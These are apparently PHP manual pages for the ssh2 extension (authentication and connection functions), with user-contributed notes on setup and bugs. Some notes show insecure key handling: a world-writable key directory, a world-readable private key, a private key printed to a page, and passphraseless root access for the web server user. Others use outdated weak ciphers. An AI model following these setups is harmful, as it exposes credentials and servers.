  • ssh2_sftp_rmdir — Remove a directory
  • ssh2_sftp_stat — Stat a file on a remote filesystem
  • ssh2_sftp_symlink — Create a symlink
  • ssh2_sftp_unlink — Delete a file
  • ssh2_sftp — Initialize SFTP subsystem
  • ssh2_shell — Request an interactive shell
  • ssh2_tunnel — Open a tunnel through a remote server

User Contributed Notes

shred 28-Nov-2017 12:36
Getting strange "Unable to open ssh2.sftp://Resource id #3/example.txt" errors? This is a bug in PHP > 5.6.27. Use intval() as a workaround to make ssh2 work again:

$sftp = ssh2_sftp($connection);
fopen("ssh2.sftp://" . intval($sftp) . "/example.txt", 'r');

https://bugs.php.net/bug.php?id=73597
dan at novapulsar dot com 25-Oct-2007 11:06
you will have an issue transferring any file using ssh2_scp_send unless you send a dummy file after your real file, or preferably issue an

ssh2_exec ($connection, 'exit');

I was transferring hundreds of thousands of files in my prototype across multiple servers, and noticed that each file had a mismatched md5 hash and bytelength.

after a bit of research i learnt that this was a bug, and added the code above as suggested at pecl.php.net in the bugs section.

hopefully this helps someone who is getting partial file transfer that could ruin your whole app.
aeolianmeson at blitzeclipse dot com 17-Aug-2007 12:00
Some installations of PHP 5 may have a problem starting the SSH2 extension as a Windows' service. It just started happening to me today, spontaneously. I have PHP 5.2.2 (and have tried 5.2.3), on Apache 2.0.59 .

It turns out that it's an Apache problem. Even though I was given an error message when starting it, it still worked perfectly from the CLI. So, I commented it out in the
INI file again, and am just loading it using extension_loaded('ssh2') and dl('php_ssh2.dll') from within the script.
astribuncio at gmail dot com 31-Aug-2006 10:17
Installing on HPUX 11.11 cookbook

Just follow the install instructions on the man page and solved the problems as they appear

- when making libssh2
Problem related with /lib/pa20_64 and 64 bits library in 32 bits link
Edited the configure file  and changed
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib/pa20_64"
to
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib"

-when executing phpize
Problems with aclocal, autom4ke and m4
Installed automake, autoconf and m4

-when ./configuring the ssh2
Configure: error: libssh2 version >= 0.4 not found
Edited the configure.m4 and removed the -ldl switch from line (as posted before)
39      -L$SSH2_DIR/lib -lm -ldl
runned phpize again and ./configure --with-ssh2
chris dot britton at cingular dot com 11-Aug-2006 06:11
I was building out the ssh2 extension (0.10) under OpenBSD 3.9 on sparc64 and I got this error when running configure:

checking for libssh2_banner_set in -lssh2... no
configure: error: libssh2 version >= 0.4 not found

I did some poking around in the configure file and traced the problem down.  The reason for the failure is that configure is trying to compile a test program with -ldl.  libdl is not installed on OpenBSD 3.9. The OpenBSD folks purged libdl years ago and I could not find a package that contains it.

(The error message above is misleading because the problem is not with libssh2.)

I looked at the ssh2 extension code and could not see a reason for using libdl, so I removed the -ldl from the config.m4 file.  Re-ran phpize and configure. No errors.  Did make and installed ssh2.so.  Works fine.
Mike <esnik8202 at sneakemail dot com> 26-Mar-2006 09:08
To list directory contents:

<?php
$connection = ssh2_connect(\"hostname\", 22);
ssh2_auth_password($connection,\"username\", \"password\");  // or use any of the ssh2_auth_* methods
$sftp = ssh2_sftp($connection);

$dh = opendir(\"ssh2.sftp://$sftp/path/to/dir/\");

while (($file = readdir($dh)) !== false) {
  echo \"$file is in hostname:/path/to/dir\\n\";
}

closedir($dh);
?>

(thanks to Sara for assisting)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:15
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 2:

11) Check your shell's path variable by SHELL$ "echo $PATH".
If your php5 binary directory is not listed before the standard OS X binary directory,
update your $PATH variable to list it first. Mine reads:
/usr/local/mysql/bin/: /usr/local/php5/bin/: /bin:/sbin: /usr/bin:/usr/sbin
11a) if you do not do this step, the PECL extension will link against the old
php4 version that ships with Mac OS X. You will know this by the fact that the
next step lists a server API that is different than the output of phpinfo():
My version was 20041030, Apples version was 20020429.
12) Run: phpize && ./configure --with-ssh2 && make
This will produce a lot of output and probably some warnings. If you get a note
at the end that says "Build Complete", then the process has completed
(probably successfully). The command has produced the output file ssh2.so within
the ssh2-0.9 (or whatever version) directory.
13) Check where the extension directory is located at by running the following command:
SHELL$/usr/local/php5/bin/php-config --extension-dir
If it lists some directory that actually exists, copy the ssh2.so file to this directory.
If it doesn't list a location that exists, you can either create the location, or
choose a different location and update the line in your php.ini file:
extension_dir = "./"
to point to the directory you would like to use. I chose:
extension_dir = "/usr/local/php5/extensions/"?>
14) Add the line
extension=ssh2.so
to the Dynamic Extensions area of your php.ini file.
15) Restart your web server for the extensioin to be loaded. If there are any problems, they will be written to the webserver log.
16) Check if your new ssh based streams are available by running:
SHELL$ /usr/local/php5/bin/php -r "print_r(stream_get_wrappers());"
You should get something similar to this output:
Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
    [6] => https
    [7] => ftps
    [8] => ssh2.shell
    [9] => ssh2.exec
    [10] => ssh2.tunnel
    [11] => ssh2.scp
    [12] => ssh2.sftp
)
You should now be able to do all the cool things you need to do with ssh
(like sftp scp ssh execution)! Take a look at some of the comment here for some
example scripts to test things out:
http://us2.php.net/manual/en/ref.ssh2.php

Good luck... hope that saves you my headache! :)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:12
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 1:
1) Download libssh (I used version 0.11)
http://sourceforge.net/project/showfiles.php?group_id=125852
2) Unzip the directory and cd to the upacked directory in the terminal.
3) run: ./configure; make all install;
libssh should compile and place the output file in src/*.o
4) copy all headers from the include folder within the libssh2 directory to
/usr/local/include/
5) copy all compiled files (*.o) from the src folder within the libssh2
directory to /usr/local/lib/
6) Download ssh2
(I used version 0.9 with additional changes from cvs - explained below)
http://pecl.php.net/package/ssh2
7) unzip the downloaded archive.
8) version 0.9 has a conflict with an existing symbol used in some of the ZEND headers...
a change is available in cvs which renames the symbol in ssh2 to avoid the conflict
http://cvs.php.net/diff.php/pecl/ssh2/ssh2.c?r1=1.9&r2=1.10&ty=h
down load at least the 1.10 version of ssh2.c
if you decide to download a newer version, download any of the corresponding related files,
such as the php_ssh2.h header file.
9) replace the old version of ssh2.c with the new version of ssh2.c
(and any other files you downloaded).
10) From the terminal:
cd to the source directory (for me ssh2-0.9/ssh2-0.9/).

(Continued in a PART 2 comment)


Authenticate over SSH using the ssh agent

  • ? SSH2 函数
  • ssh2_auth_hostbased_file ?
  • PHP Manual
  • SSH2 函数
  • Authenticate over SSH using the ssh agent

ssh2_auth_agent

(PECL ssh2 >= 0.12)

ssh2_auth_agent — Authenticate over SSH using the ssh agent

说明

ssh2_auth_agent(resource $session, string $username): bool

Authenticate over SSH using the ssh agent

Note: The ssh2_auth_agent() function will only be available when the ssh2 extension is compiled with libssh >= 1.2.3.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Authenticating with a ssh agent

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_agent($connection, 'username')) {
echo "Authentication Successful!\n";
} else {
die('Authentication Failed...');
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Authenticate using a public hostkey

  • ? ssh2_auth_agent
  • ssh2_auth_none ?
  • PHP Manual
  • SSH2 函数
  • Authenticate using a public hostkey

ssh2_auth_hostbased_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_hostbased_file — Authenticate using a public hostkey

说明

ssh2_auth_hostbased_file(
resource $session,
string $username,
string $hostname,
string $pubkeyfile,
string $privkeyfile,
string $passphrase = ?,
string $local_username = ?
): bool

Authenticate using a public hostkey read from a file.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

hostname

pubkeyfile

privkeyfile

passphrase

If privkeyfile is encrypted (which it should be), the passphrase must be provided.

local_username

If local_username is omitted, then the value for username will be used for it.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Authentication using a public hostkey

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_hostbased_file($connection, 'remoteusername', 'myhost.example.com',
'/usr/local/etc/hostkey_rsa.pub',
'/usr/local/etc/hostkey_rsa', 'secret',
'localusername')) {
echo "Public Key Hostbased Authentication Successful\n";
} else {
die('Public Key Hostbased Authentication Failed');
}
?>

注释

Note:

ssh2_auth_hostbased_file() requires libssh2 >= 0.7 and PHP/SSH2 >= 0.7

User Contributed Notes

There are no user contributed notes for this page.


Authenticate as "none"

  • ? ssh2_auth_hostbased_file
  • ssh2_auth_password ?
  • PHP Manual
  • SSH2 函数
  • Authenticate as "none"

ssh2_auth_none

(PECL ssh2 >= 0.9.0)

ssh2_auth_none — Authenticate as "none"

说明

ssh2_auth_none(resource $session, string $username): mixed

Attempt "none" authentication which usually will (and should) fail. As part of the failure, this function will return an array of accepted authentication methods.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

返回值

Returns true if the server does accept "none" as an authentication method, or an array of accepted authentication methods on failure.

示例

Example #1 Retrieving a list of authentication methods

<?php
$connection = ssh2_connect('shell.example.com', 22);

$auth_methods = ssh2_auth_none($connection, 'user');

if (in_array('password', $auth_methods)) {
echo "Server supports password based authentication\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Authenticate over SSH using a plain password

  • ? ssh2_auth_none
  • ssh2_auth_pubkey_file ?
  • PHP Manual
  • SSH2 函数
  • Authenticate over SSH using a plain password

ssh2_auth_password

(PECL ssh2 >= 0.9.0)

ssh2_auth_password — Authenticate over SSH using a plain password

说明

ssh2_auth_password(resource $session, string $username, string $password): bool

Authenticate over SSH using a plain password. Since version 0.12 this function also supports keyboard_interactive method.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

password

Password for username

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Authenticating with a password

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_password($connection, 'username', 'secret')) {
echo "Authentication Successful!\n";
} else {
die('Authentication Failed...');
}
?>

User Contributed Notes

sgchris at gmail dot com 29-Jun-2015 11:00
Please note that the function ssh2_auth_password raises PHP warning(!) on bad authentication. To avoid the warning, use the "silence" ("@") operator.

<?php
$ssh = ssh2_connect($host);
if (false === $ssh) {
    die('connection failed');
}

$auth = @ssh2_auth_password($ssh, $user, $password);
if (false === $auth) {
    die('authentication failed');
}
?>
wally at soggysoftware dot co dot uk 11-Apr-2007 03:09
This function is useful for authenticating website clients against local (or remote) Unix users.

I'd played around with Apache+PAM, various mod_auths and homebrewed shell programs and even NIS, but to authenticate a user against a Unix shadow file fundamentally requires root priviledges, so either your PHP script needs root or an external program needs it's sticky bit set.  Both of these have *serious* security implications.

Using SSH, the overhead is obviously going to be greater but you're trusting a root service that's been (and continues to be) really well tested.  Just try authing with SSH against localhost (or another host if you want).
noels01 at gmx dot net 29-Aug-2005 05:56
Do not try to authenticate or log in more than once on a ssh2 connection. It won't work. You'll need a new connection via ssh2_connect() which will result in a poor performance if you're doing several connects to the same server.


Authenticate using a public key

  • ? ssh2_auth_password
  • ssh2_connect ?
  • PHP Manual
  • SSH2 函数
  • Authenticate using a public key

ssh2_auth_pubkey_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_pubkey_file — Authenticate using a public key

说明

ssh2_auth_pubkey_file(
resource $session,
string $username,
string $pubkeyfile,
string $privkeyfile,
string $passphrase = ?
): bool

Authenticate using a public key read from a file.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

pubkeyfile

The public key file needs to be in OpenSSH's format. It should look something like:

ssh-rsa AAAAB3NzaC1yc2EAAA....NX6sqSnHA8= rsa-key-20121110

privkeyfile

passphrase

If privkeyfile is encrypted (which it should be), the passphrase must be provided.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Authentication using a public key

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_pubkey_file($connection, 'username',
'/home/username/.ssh/id_rsa.pub',
'/home/username/.ssh/id_rsa', 'secret')) {
echo "Public Key Authentication Successful\n";
} else {
die('Public Key Authentication Failed');
}
?>

注释

Note:

The underlying libssh library doesn't support partial auths very cleanly That is, if you need to supply both a public key and a password it will appear as if this function has failed. In this particular case a failure from this call may just mean that auth hasn't been completed yet. You would need to ignore this failure and continue on and call ssh2_auth_password() in order to complete authentication.

User Contributed Notes

Aurelien Marchand 18-Mar-2022 03:46
The vendor we deal with requires the use of both password authentication AND a public/private key authentication.

After much pain and testing, this is what we did to make it work, bypassing the need to install phpseclib:

<?php

$server = "subdomain.example.com";
$username = "username";
$password = "password";
$path_to_public_key = "file.pub";
$path_to_private_key = "file.priv"; // critical: permissions must be 0600!!
$path_to_needed_file = "/path/to/file/needed.txt";

$ssh2 = ssh2_connect($server);
@ssh2_auth_pubkey_file($ssh2,$username,$path_to_public_key,$path_to_private_key); // this returns a warning but it is normal and can be ignored
ssh2_auth_password($ssh2,$username,$password);
$sftp = ssh2_sftp($ssh2);
$file = fopen("ssh2.sftp://" . intval($sftp). $path_to_needed_file,"r");
$content = fread($file,1024);
fclose($file);
ssh2_disconnect($ssh2);

echo $content;
?>
Christophe 02-Dec-2020 12:31
Users should be aware of bug 78661 https://bugs.php.net/bug.php?id=78661

As of december 2020, on some Linux distro, (debian 10 and ubuntu 20.04 at least), although the ssh daemon will accept the connection, the function ssh2_auth_pubkey_file stubbornly reports an error.

It took me hours to realise that my code was correct, but the function buggy. If you are hit by this bug, you may try https://www.php.net/ssh2_auth_password instead... If applicable.
miloslav dot hula at gmail dot com 30-Apr-2020 07:32
If you have a problem with an RSA key, check that private key file contents starts with:

-----BEGIN RSA PRIVATE KEY-----

and not with:

-----BEGIN OPENSSH PRIVATE KEY-----

The first one can be created by:

ssh-keygen -m PEM -t rsa -f mykey
mrpetovan at gmail dot com 22-Mar-2016 02:24
Beware of the tilde (~) in the key file paths, as they will trigger the following warning (on a debug build):

PHP Warning:  String is not zero-terminated (ZZZZZZZZZZZZZZZZZZ1wjj*=?<) (source: Zend/zend_execute.h:81) in Unknown on line 0

although the authentication will suceed.

<?php
    $ssh_conn = ssh2_connect('test.host.com', 22, array('hostkey' => 'ssh-rsa'));
    ssh2_auth_pubkey_file($ssh_conn, 'user', '~/.ssh/id_rsa.pub', '~/.ssh/id_rsa')
 ?>

The above code will throw the Warning.

<?php
    $ssh_conn = ssh2_connect('test.host.com', 22, array('hostkey' => 'ssh-rsa'));
    ssh2_auth_pubkey_file($ssh_conn, 'user', '/home/user/.ssh/id_rsa.pub', '/home/user/.ssh/id_rsa')
 ?>

The above code won't.

If you want to perform a dynamic replacement of the tilde, you can use posix_getpwuid (http://php.net/manual/en/function.posix-getpwuid.php)
nerak-spelled-backwards at modo dot coop 10-Jan-2013 05:49
This function has a known bug (https://bugs.php.net/bug.php?id=58573) under some Linux installations: you can't encrypt your private key if you've compiled libssh2 using libgcrypt.  According to the bug page, the solution is to rebuild libssh2 with OpenSSL.  (Or don't encrypt your private key, but that seems irresponsible somehow.)

This isn't a bug report -- the bug is apparently already being fixed -- but a note for others, because it took me at least an hour of Googling to realize the problem wasn't with my own code.
christian at cvj dot se 03-Jan-2012 04:21
On my linux debian server running php communicating with another linux debian server I had problems getting rsa to work. dsa worked out of the box. I got it to work by doing the following in terminal

* ssh-keygen -t rsa
.... PUBFILE
* ssh-keygen -f PUBFILE -e
OUTPUT

id_rsa.pub =
ssh-rsa OUTPUT [COMMENT]
max 16-Sep-2011 04:37
Well, you have to format the publickey with the following command:

# ssh-keygen -f id_rsa.pub -i
Output: "ssh-rsa <YOURKEYDATA>"

That worked fine for me.
anjo2 11-May-2011 08:49
rsa keys may don't work, using dsa keys are more compatible

Linux:
ssh-keygen -t dsa
cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh/
chmod -R 600 ~/.ssh/*

PHP:
<?php
    $methods = array(
    'kex' => 'diffie-hellman-group1-sha1',
    'hostkey' => 'ssh-dss',
    'client_to_server' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'),
    'server_to_client' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'));
    $connect = ssh2_connect('127.0.0.1', 22, $methods);
    if(ssh2_auth_pubkey_file($connect, 'username', '~/.ssh/id_dsa.pub', '~/.ssh/id_dsa'))
    {
        echo "Public Key Authentication Successful\n";
    }
    else
    {
        echo "Public Key Authentication Failed\n";
    }
?>
deepakssn@gmailcom 19-May-2010 04:12
Setting up public key authentication:

1.  Login to the unix server you want to connect using putty.
2.  mkdir .ssh (there is a dot before ssh)
3.  cd .ssh
4.  ssh-keygen -t rsa mykey
5.  Enter passphrase as test
6.  ls -al -> you will find two files mykey , mykey.pub
7.  cat mykey.pub >>authorized_keys
8.  cat mykey
9.  Copy what you get on screen to notepad and save it as "c:\mykey" (within quotes)
10.  cat mykey.pub
11.  Copy what you get on screen to notepad and save it as "c:\mykey.pub" (within quotes)

<?php

function my_ssh_disconnect($reason, $message, $language)
{
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

//Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.
$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'),
  'server_to_client' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

      // Function to run a command on the unix server

      function run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command)
      {
          $connection = ssh2_connect($ssh_host, 22, $methods, $callbacks);
          if (!$connection) die('Connection failed');
          if (ssh2_auth_pubkey_file($connection, $user_name, $keyfilename.".pub", $keyfilename, 'test'))
          {
            echo "Public Key Authentication Successful as user: $user_name";
          }
          else
          {
            die('Public Key Authentication Failed');
          }

          $stream = ssh2_exec($connection, $ssh_command);
          $i=0;
          stream_set_blocking($stream, true);
          $line = stream_get_line($stream, 1024, "\n");
          while (!feof($stream))
          {
                  echo $line.' ';
                  $line = stream_get_line($stream, 1024, "\n");
                  $i++;
          }
          echo "Count : ".$i;
          flush();
          unset($stream);
      }

      function my_ssh_disconnect($reason, $message, $language)
      {
            printf("Server disconnected with reason code [%d] and message: %s\n",
            $reason, $message);
      }

      // Main Code

      $user_name = "USERID";
      $keydir = "c:\\";
      $search_string = 'needle';
      $keyfilename= $keydir.'mykey';
      $ssh_host = "foo.bar.com";
      $ssh_command = 'grep "'.$search_string.'" /haystack/*.log';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);

      $ssh_command = 'ls -al';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);
?>
gramo dot gnu at gmail dot com 29-Oct-2009 03:26
I had an anoyiing problem with this function, everytime I tried to make it run it responds with an

Authentication failed for <user> using public key

but when I try directly to connect to the server using
ssh <user>@<domain>
Things works fine...

After lots of intents I realize that local files were read protected from user apache (they were stored at /home/<user>/.ssh directory)

So, if you also have this problem, just make a new directory into a place where apache can read and place there the keys.

The whole thing I do is as follows (Linux & Apache both server and client):

First I create a directory where apache can read

mkdir ~/.newssh_keys
chmod 777 ~/.newssh_keys

(This is a security issue, so maybe you need to realize how to make it safer.)

Then I create keys into local server choosing ~/.newssh_keys/id_dsa as the file to save the key:

ssh-keygen -t dsa
...
Enter file in which to save the key (/home/<user>/.ssh/id_dsa): ~/.newssh_keys/id_dsa
...

Then I have to change permissions to private key
(This is a security issue, so maybe you need to realize how to make it safer.)

chmod 644 ~/.newssh_keys/id_dsa

I copy the public key into the server's .ssh directory
client$ scp id_dsa.pub <remoteuser>@<server_domain>:~/.ssh/

and then I connect myself to the server using traditional ssh in order to append the public key at the end of authorized_keys2 file

server$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys2

and remove the public key in order to be clean
server$ rm ~/.ssh/id_dsa.pub

Finally I use this code into my php script

<?php
// This in order to be sure apache can read public key
// (remove this after debug)
$pub_key = file_get_contents('~/.newssh_keys/id_dsa.pub');
print "<pre>";
var_export($pub_key);
print "</pre>";

// This in order to check private one
// (remove this after debug)
$prv_key = file_get_contents('~/.newssh_keys/id_dsa');
print "<pre>";
var_export($prv_key);
print "</pre>";

// Finally the connection code
$connection = ssh2_connect('<server_domain>', 22, array('hostkey', 'ssh-dss'));
if (ssh2_auth_pubkey_file($connection, '<server_user>',
                          '~/.newssh_keys/id_dsa.pub',
                          '~/.newssh_keys/id_dsa')) {
  echo "Public Key Authentication Successful\n";
} else {
  echo "Public Key Authentication Failed";
}
?>
tekiedude at gmail dot com 31-Jul-2007 01:45
This is probably incredibly insecure but if you are in a closed environment, you can run it at your own risk.

I was trying to get ssh access from server A to server B but server A was running apache as 'apache' and
I needed files on server B that were owned by root. So I needed some way for the apache user to connect
to server B as root.  Here's what I did (both servers running linux - specifically CentOS4):

1. ssh-keygen -t rsa -f id_rsa  generate with no passphrase
2. append the id_rsa.pub file to server B /root/.ssh/authorized_keys2
3. copy the id_rsa and id_rsa.pub files to a directory like /var/www/.ssh/
(happens to be apache's home dir on CentOS)
4. chown -R apache.apache /var/www/.ssh

Then you can connect like this:
$connection = ssh2_connect($server,22,array('hostkey'=>'ssh-rsa'));
if (ssh2_auth_pubkey_file($connection,'root',
'/var/www/.ssh/id_rsa.pub',
'/var/www/.ssh/id_rsa')) {
echo "success!";
}
else
{
echo "no success :-(";
}


Connect to an SSH server

  • ? ssh2_auth_pubkey_file
  • ssh2_disconnect ?
  • PHP Manual
  • SSH2 函数
  • Connect to an SSH server

ssh2_connect

(PECL ssh2 >= 0.9.0)

ssh2_connect — Connect to an SSH server

说明

ssh2_connect(
string $host,
int $port = 22,
array $methods = ?,
array $callbacks = ?
): resource|false

Establish a connection to a remote SSH server.

Once connected, the client should verify the server's hostkey using ssh2_fingerprint(), then authenticate using either password or public key.

参数

host

port

methods

methods may be an associative array with up to four parameters as described below.

methods may be an associative array with any or all of the following parameters.
Index | Meaning | Supported Values*
kex | List of key exchange methods to advertise, comma separated in order of preference. | diffie-hellman-group1-sha1, diffie-hellman-group14-sha1, and diffie-hellman-group-exchange-sha1
hostkey | List of hostkey methods to advertise, comma separated in order of preference. | ssh-rsa and ssh-dss
client_to_server | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from client to server.
server_to_client | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from server to client.

* - Supported Values are dependent on methods supported by underlying library. See » libssh2 documentation for additional information.

client_to_server and server_to_client may be an associative array with any or all of the following parameters.
Index | Meaning | Supported Values*
crypt | List of crypto methods to advertise, comma separated in order of preference. | rijndael-cbc@lysator.liu.se, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc, blowfish-cbc, cast128-cbc, arcfour, and none**
comp | List of compression methods to advertise, comma separated in order of preference. | zlib and none
mac | List of MAC methods to advertise, comma separated in order of preference. | hmac-sha1, hmac-sha1-96, hmac-ripemd160, hmac-ripemd160@openssh.com, and none**

Note: Crypt and MAC method "none"

For security reasons, none is disabled by the underlying » libssh2 library unless explicitly enabled during build time by using the appropriate ./configure options. See documentation for the underlying library for more information.

callbacks

callbacks may be an associative array with any or all of the following parameters.

Callbacks parameters
Index | Meaning | Prototype
ignore | Name of function to call when an SSH2_MSG_IGNORE packet is received | void ignore_cb($message)
debug | Name of function to call when an SSH2_MSG_DEBUG packet is received | void debug_cb($message, $language, $always_display)
macerror | Name of function to call when a packet is received but the message authentication code failed. If the callback returns true, the mismatch will be ignored, otherwise the connection will be terminated. | bool macerror_cb($packet)
disconnect | Name of function to call when an SSH2_MSG_DISCONNECT packet is received | void disconnect_cb($reason, $message, $language)

返回值

Returns a resource on success, or false on error.

示例

Example #1 ssh2_connect() example

Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.

<?php
/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
printf("Server disconnected with reason code [%d] and message: %s\n",
$reason, $message);
}

$methods = array(
'kex' => 'diffie-hellman-group1-sha1',
'client_to_server' => array(
'crypt' => '3des-cbc',
'comp' => 'none'),
'server_to_client' => array(
'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('shell.example.com', 22, $methods, $callbacks);
if (!$connection) die('Connection failed');
?>

参见

  • ssh2_fingerprint() - Retrieve fingerprint of remote server
  • ssh2_auth_none() - Authenticate as "none"
  • ssh2_auth_password() - Authenticate over SSH using a plain password
  • ssh2_auth_pubkey_file() - Authenticate using a public key
  • ssh2_disconnect() - Close a connection to a remote SSH server

User Contributed Notes

devoldemar 28-Aug-2023 11:50
Usage of 'hostkey' option makes sence when you need to check authenticity of the remote server, e.g. by means of ssh2_fingerprint function. For that purpose you specify a list of possible algorithms sorted by priority in descending order. Supported values also include 'ssh-ed25519', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384' and 'ecdsa-sha2-nistp521'.
For instance:
<?php
$ssh = ssh2_connect('192.168.3.1', 22, ['hostkey' => 'ssh-ed25519,ssh-rsa']);
$md5 = ssh2_fingerprint($ssh); // returns MD5 hash of ED25519 host key, or MD5 hash of RSA key if the key of previous type is absent
?>

Note, if the remote server does not have a key of appropriate type connection will fail:
<?php
$ssh = ssh2_connect('192.168.3.1', 22, ['hostkey' => 'ssh-dss']);
PHP Warning:  ssh2_connect(): Error starting up SSH connection(-5): Unable to exchange encryption keys in php shell code on line 1
PHP Warning:  ssh2_connect(): Unable to connect to 192.168.3.1 in php shell code on line 1
?>
jrdbrndt at gmail dot com 13-Feb-2020 03:40
Trying to include "aes256-cbc" in the encryption methods list caused an error. The documentation here may be out of date, and you might find a more accurate list of what values are acceptable by checking the libssh2 documentation at libssh2.org.
christophermjgray at gmail dot com 02-Dec-2017 10:01
This page is out of date.  Any of the SHA-1 in the Key Exchange Methods in the kex section should be discarded, due to Logjam (https://weakdh.org/logjam.html).  If you continue to use them, connects will result in the following warning:
"Warning: ssh2_connect(): Error starting up SSH connection(-5): Unable to exchange encryption keys in ..."

The following is an example of what works.  Also by removing the 'hex' section all together, results in libssl (https://libssh2.org/) falling back to discovering which is the strongest cipher to authenticate with.

<?php

if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");

function ssh2_debug($message, $language, $always_display) {
   printf("%s %s %s\n",$message,$language,$always_display);
}

/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

$methods = array(
    'hostkey'=>'ssh-rsa,ssh-dss',
//    'kex' => 'diffie-hellman-group-exchange-sha256',
    'client_to_server' => array(
        'crypt' => 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc',
        'comp' => 'none'),
    'server_to_client' => array(
        'crypt' => 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc',
        'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

foreach (array('192.168.1.1') as $host) {
  $connection = ssh2_connect($host, 22, $methods, $callbacks);
  if (!$connection) die("Connection failed:");

  ssh2_auth_password($connection, 'user', 'my_password') or die("Unable to authenticate");
  $stream = ssh2_exec($connection, 'free -m');
  stream_set_blocking($stream, true);
  $stream_out = ssh2_fetch_stream($stream, SSH2_STREAM_STDIO);
  echo stream_get_contents($stream_out);
}

?>
thessoro at gmail dot com 04-Feb-2015 07:38
Be careful when providing a specific hostkey order.

<?php
ssh2_connect('IP', 'port', array('hostkey'=>'ssh-rsa, ssh-dss'));
?>

Will only work when the public key of the server is RSA, and not DSA also as expected. This is caused by the empty space before the "ssh-dss".

So a similar code:

<?php
ssh2_connect('IP', 'port',   array('hostkey'=>'ssh-rsa,ssh-dss'));
?>

Will work. The HOSTKEY method is overriden using exactly what you write, so no empty spaces are allowed.

This took me some time that you could save ;)
rainerkrauss at googlemail dot com 08-Jun-2014 11:00
Warning! If you open a ssh connection and execute an external program opening another ssh connection it may result in very strange behavior.

I used an sftp connection to get a file list and used "exec" to download the files afterwards with an external sftp. lftp downloaded zeros with no comment, psftp exits with error code 11 most of the time, but sometimes it works - probably depending on how quickly php collects garbage and closes the unused connection first.

As there is no function to close a connection, you need to be sure to destroy all references (unset) to close it.
Trev White 26-Jul-2013 09:20
Hi,
If you are having problems with running a ssh2 session and it waits forever during the execution of stream_get_contents, it might be because the remote system has run the command and is now sitting at a # prompt waiting for the next command.  I had this issue on a HP MSA box, here is the code to get around the issue.

Assuming you are connected with your authentication method and $ssh contains the handle.

<?php
$command = "check disk";
// Open a nice large window to stop wrapping
$stream = ssh2_shell ($ssh, 'xterm', null, 200, 200, SSH2_TERM_UNIT_CHARS);

// Hook into the error stream
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Block the streams so we wait until they complete
stream_set_blocking ($stream, true);
stream_set_blocking($errorStream, true);

// Send the commands to the terminal
fwrite ($stream, $command . PHP_EOL );

// Wait give the terminal a chance to accept and start processing the command, this is a slow storage device after all
sleep(2);

// IMPORTANT BIT!!  Send exit to the terminal to close the connection BEFORE WE WAIT FOR THE STREAM
fwrite ($stream, "exit" . PHP_EOL );
sleep (2);

// Print the output
echo stream_get_contents($stream);
$errortext=stream_get_contents($errorStream);

if (strlen($errortext) > 0) {
          // Error Data
         echo "Error Data: $errortext";
